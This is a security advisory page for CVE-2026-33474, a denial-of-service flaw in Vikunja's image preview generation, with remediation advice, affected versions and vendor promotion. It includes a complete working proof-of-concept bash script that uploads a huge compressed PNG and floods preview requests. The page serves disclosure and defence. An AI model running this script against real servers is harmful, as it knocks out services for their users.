CVE-2026-33474 — api
MEDIUMCVE-2026-33474 is a medium-severity (CVSS 6.5) Uncontrolled Resource Consumption vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.
Vikunja Affected by DoS via Image Preview Generation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33474.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33474 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
- Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images.
- Affected code:
- Decoding without bounds: task_attachment.go:GetPreview
- Resizing path: resizeImage
- Endpoint invoking preview: GetTaskAttachment
- Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service.
- CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)
Preconditions
- API running locally (
http://localhost:8080). - Task attachments enabled:
task_attachments_enabled=truein Info. - Any authenticated user with write access to a task.
How It Works
- Preview generation decodes the full image via
image.Decodeand resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize. - The first preview per attachment and size performs the heavy work; later requests are served from cache keyvalue.Remember.
Run The POC
- Script:
#!/usr/bin/env bash
set -euo pipefail
BASE_URL="${BASE_URL:-http://localhost:8080}"
USERNAME="${USERNAME:-dosuser}"
EMAIL="${EMAIL:[email protected]}"
PASSWORD="${PASSWORD:-StrongPass123!}"
PROJECT_TITLE="${PROJECT_TITLE:-poc-dos-preview}"
TASK_TITLE="${TASK_TITLE:-DoS preview test}"
OUT_DIR="${OUT_DIR:-/tmp/vikunja-poc-dos}"
mkdir -p "$OUT_DIR"
echo "[+] Checking instance info"
curl -sS "$BASE_URL/api/v1/info" | tee "$OUT_DIR/info.json" >/dev/null
if ! grep -q '"task_attachments_enabled":true' "$OUT_DIR/info.json"; then
echo "[!] Task attachments disabled"
exit 1
fi
echo "[+] Registering user (may already exist)"
curl -sS -X POST "$BASE_URL/api/v1/register" \
-H 'Content-Type: application/json' \
-d '{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}' \
| tee "$OUT_DIR/register.json" >/dev/null || true
echo "[+] Logging in"
curl -sS -X POST "$BASE_URL/api/v1/login" \
-H 'Content-Type: application/json' \
-d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \
| tee "$OUT_DIR/login.json" >/dev/null
TOKEN="$(sed -n 's/.*"token"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$OUT_DIR/login.json")"
if [ -z "$TOKEN" ]; then
echo "[!] Failed to get token"
exit 1
fi
echo "[+] Creating project"
curl -sS -X PUT "$BASE_URL/api/v1/projects" \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $TOKEN" \
-d '{"title":"'"$PROJECT_TITLE"'"}' \
| tee "$OUT_DIR/project.json" >/dev/null
PROJECT_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/project.json")"
if [ -z "$PROJECT_ID" ]; then
echo "[!] Failed to get project id"
exit 1
fi
echo "[+] Creating task"
curl -sS -X PUT "$BASE_URL/api/v1/projects/$PROJECT_ID/tasks" \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $TOKEN" \
-d '{"title":"'"$TASK_TITLE"'"}' \
| tee "$OUT_DIR/task.json" >/dev/null
TASK_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/task.json")"
if [ -z "$TASK_ID" ]; then
echo "[!] Failed to get task id"
exit 1
fi
echo "[+] Generating 10000x10000 PNG payload"
python3 - <<'PY'
from PIL import Image
img = Image.new('RGB', (10000,10000), color=(0,0,0))
img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True)
PY
file "$OUT_DIR/huge.png" || true
ls -lh "$OUT_DIR/huge.png" || true
echo "[+] Uploading attachment"
curl -sS -X PUT "$BASE_URL/api/v1/tasks/$TASK_ID/attachments" \
-H "Authorization: Bearer $TOKEN" \
-F "files=@$OUT_DIR/huge.png" \
| tee "$OUT_DIR/attach.json" >/dev/null
ATTACHMENT_ID="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d["success"][0]["id"])' "$OUT_DIR/attach.json")"
if [ -z "$ATTACHMENT_ID" ]; then
echo "[!] Failed to get attachment id"
exit 1
fi
echo "[+] Requesting preview (xl)"
/usr/bin/time -l curl -sS -o "$OUT_DIR/preview_xl.png" \
"$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl" \
-H "Authorization: Bearer $TOKEN" 2> "$OUT_DIR/time_xl.txt"
du -h "$OUT_DIR/preview_xl.png" || true
file "$OUT_DIR/preview_xl.png" || true
echo "[+] Timing and memory (from /usr/bin/time):"
cat "$OUT_DIR/time_xl.txt" || true
echo "[+] Parallel preview requests (cache warm) x10"
seq 1 10 | xargs -P 5 -I{} sh -c "curl -s -w '%{time_total}\n' -o /dev/null \
'$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl' \
-H 'Authorization: Bearer $TOKEN'" | tee "$OUT_DIR/parallel_times.txt" >/dev/null
echo "[+] Done. Outputs in $OUT_DIR"
- Uses
curlandpython3(Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics.
Steps
- Ensure the API is running on
http://localhost:8080. - Execute:
bash pocs/image-preview-dos/poc.sh - Outputs of interest:
/tmp/vikunja-poc-dos/time_xl.txt:/usr/bin/time -ltiming and memory for the preview request./tmp/vikunja-poc-dos/parallel_times.txt: 10 parallel preview times with cache warmed./tmp/vikunja-poc-dos/preview_xl.png: Generated 800×800 preview.
Environment Overrides
- BASE_URL: API base (default
http://localhost:8080) - USERNAME, EMAIL, PASSWORD: credentials for the test user
- PROJECT_TITLE, TASK_TITLE: names for test artifacts
- OUT_DIR: output directory (default
/tmp/vikunja-poc-dos)
Expected Results
- First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image.
- Subsequent requests are faster due to caching.
- Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.
Remediation
- Enforce bounds prior to decode:
- Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M).
- Fail early by reading headers to extract dimensions before full decode.
- Add per-user and per-attachment rate limiting for preview generation.
- Pre-generate previews asynchronously with throttling and backpressure.
- Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.
Notes
- This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | ≥ 1.0.0-rc0&&< 2.2.0 | 2.2.0go get code.vikunja.io/api@v2.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.vikunja.io/api to 2.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33474 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33474 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33474. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33474 in your dependencies?
O3 Security finds CVE-2026-33474 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.